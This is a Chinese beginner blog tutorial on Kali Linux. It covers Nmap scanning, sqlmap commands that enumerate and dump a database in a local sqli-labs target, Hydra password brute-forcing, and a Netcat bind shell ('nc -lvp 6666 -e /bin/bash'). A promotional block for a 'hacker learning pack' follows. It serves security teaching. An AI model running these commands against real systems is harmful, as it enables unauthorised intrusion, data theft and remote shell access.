2024最新版:Kali Linux 入门避坑指南,从零基础到精通,收藏这篇就够了!

唠嗑两句

各位未来的“网络安全工程师”们,想必你们都听过 Kali Linux 的大名,江湖人称“黑客最爱的系统”。 那么问题来了,Kali 到底是啥?菜鸟用 Kali 都能干点啥?别慌,今天就让咱来给你扒个底朝天!

一、Kali Linux 到底是何方神圣?

Kali Linux,说白了就是个渗透测试专用的 Linux 操作系统,它可是 BackTrack 的“升级版”。当年 BackTrack 觉得单打独斗太累,于是拉来了 IWHAX、WHOPPIX 和 Auditor 这三位好汉,组了个团,摇身一变成了 Kali Linux。

本质上,Kali 还是个 Linux 系统,只不过它自带了各种“神兵利器”,省去了你到处搜罗、安装工具的麻烦。 至于为啥黑客们都爱它,那还不是因为它工具齐全,用起来省心省力嘛!

Kali Linux 系统

二、手把手教你“领养”一只 Kali

Kali 的官方网站:Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

Kali 团队还在不断更新,现在最新的版本是 Kali Purple,据说里面塞满了更多“防御型”工具。

下载解压后,用 VMware 打开就行了。 默认的 root 账号密码都是 kali。 如果你是 VMware 新手,建议先去网上找找教程。 还有,新手可能会遇到虚拟机连不上网的问题。 建议你先用“直接连接”模式,等搞懂了网卡和网段的知识,再自己配置也不迟。(操作步骤:虚拟机 -> 设置 -> 网络适配器 -> 桥接模式 -> 复制物理网络连接状态)

三、Kali 常用工具大盘点:新手村也能用的神器!

Kali Linux 工具

正如前面所说,Kali 就像个百宝箱,塞满了各种黑客工具和网络安全工具。 可以说,黑客想干的那些事儿,都能在这个系统里找到对应的工具。 下面就给大家推荐几个适合新手入门的小工具:

1. Nmap:网络世界的“天眼”

Nmap 被誉为“诸神之眼”,是一款超级强大的网络探测工具。 它能发现主机、扫描端口,还能跑漏洞扫描脚本,简直是居家旅行、摸清家底的必备神器!

Nmap 最最基础的用法:

nmap [目标 IP 地址]  
nmap 192.168.1.10

nmap [目标网段]
nmap 192.168.1.0/24

Nmap 扫描结果

Nmap 还提供了各种扫描参数,让你可以定制扫描结果。 举几个栗子:

Nmap 常用参数

Nmap 更多参数

添加不同的参数,就能看到不同的扫描结果,简直不要太灵活!

2. Sqlmap:SQL 注入一把梭

Sqlmap 是一款自动化 SQL 注入探测工具,支持各种操作系统和数据库。 渗透测试人员经常调侃:“没有什么技术含量,就是 sqlmap 一把梭,屏幕绿了就下班!

Sqlmap 的基本用法:

sqlmap -u "www.baidu.com"

温馨提示:未经授权,请勿对公共网络资产进行批量扫描,小心喜提“缝纫机”一台!

下面以 sqli-lab 靶场为例:

Sqlmap 注入示例

如果出现上图中的绿色信息,说明 sqlmap 成功注入了该参数。 注意,URL 中要以 GET 方式输入参数 id(/?id),否则 sqlmap 可没法工作哦!

找到注入点后,就可以按以下步骤操作:

sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --dbs  # 获取当前数据库服务开启的数据库名称
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 --tables  # 获取某数据库下的所有表名
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 --columns # 获取 D 数据库下 T 表内的所有字段
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" -D 数据库名 -T 表名 -C 字段名 --dump  # 将该字段的内容全部获取出来并存储,在最后的信息中会有存储路径信息

第一步,获取数据库:

Sqlmap 获取数据库

第二步,获取数据库下的表名:

Sqlmap 获取表名

第三步,获取该表字段(其实到表名这一步,可以直接 --dump 获取表里所有内容):

Sqlmap 获取字段

所以,sqlmap 的难点在于如何找到注入点,也就是找到产生 SQL 注入的参数。 在这个例子里,参数是 GET 方式上传的 "id" 参数。 下面再给大家提供一些 sqlmap 常用参数:

Sqlmap 更多参数

3. Hydra:密码爆破界的“九头蛇”

Hydra,又称“九头蛇”,是一款高效的多协议爆破工具。 它可以对指定 IP 的指定服务进行爆破,你需要提供爆破字典,或者指定爆破数据(比如已知账号为 admin 时,爆破密码)。

Kali 中,Hydra 有图形化和命令行两种使用方式:

Hydra 界面

对于新手来说,图形化界面更加简单易用。 下面简单介绍一下图形化界面的使用方法:

Hydra 图形化界面

Hydra 参数设置

设置好参数后,点击 "start" 按钮,Hydra 就会用字典中的所有账号密码去尝试登陆了。

4. Netcat:网络界的“瑞士军刀”

Netcat,简称 nc,是一款超级常用的网络工具。 它基于 Socket 协议,支持 TCP 和 UDP 连接。 有了 nc,你几乎可以建立任何类型的连接。 在渗透测试中,通常用它来获取目标 IP 的 Shell。

nc 的简单用法:建立连接,传输信息

主机 1:开启对 6666 端口的监听

nc -lvp 6666

参数解释:

Netcat 参数解释

主机 2:连接主机 1 的 6666 端口

nc 192.168.0.163 6666

Netcat 连接示例

nc 常用用法:获取远程主机 Shell

  1. 正向连接 Shell

主机 1:

nc -lvp 6666 -e /bin/bash

参数解释:

Netcat 参数解释 2

这里将主机 1 的 /bin/bash 重定向到了自己主机的 6666 端口。

主机 2:

nc 192.168.0.163 6666

Netcat 获取 Shell

思考一下,为什么左边会有下面的报错呢? 并且在执行 sudo su 尝试进入 root 权限时,必须在左侧主机输入密码才可以进入,进入后才会收到来自右侧发来的密码 kali 并且产生报错。 可以尝试了解不同终端 bash/zsh/sh 的区别。

总结

本文只是简单介绍了 Kali 系统,希望能给那些对网络安全感兴趣的小白们一个入门引导。 记住,安全之路,永无止境! 祝各位早日成为网络安全界的大佬!

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值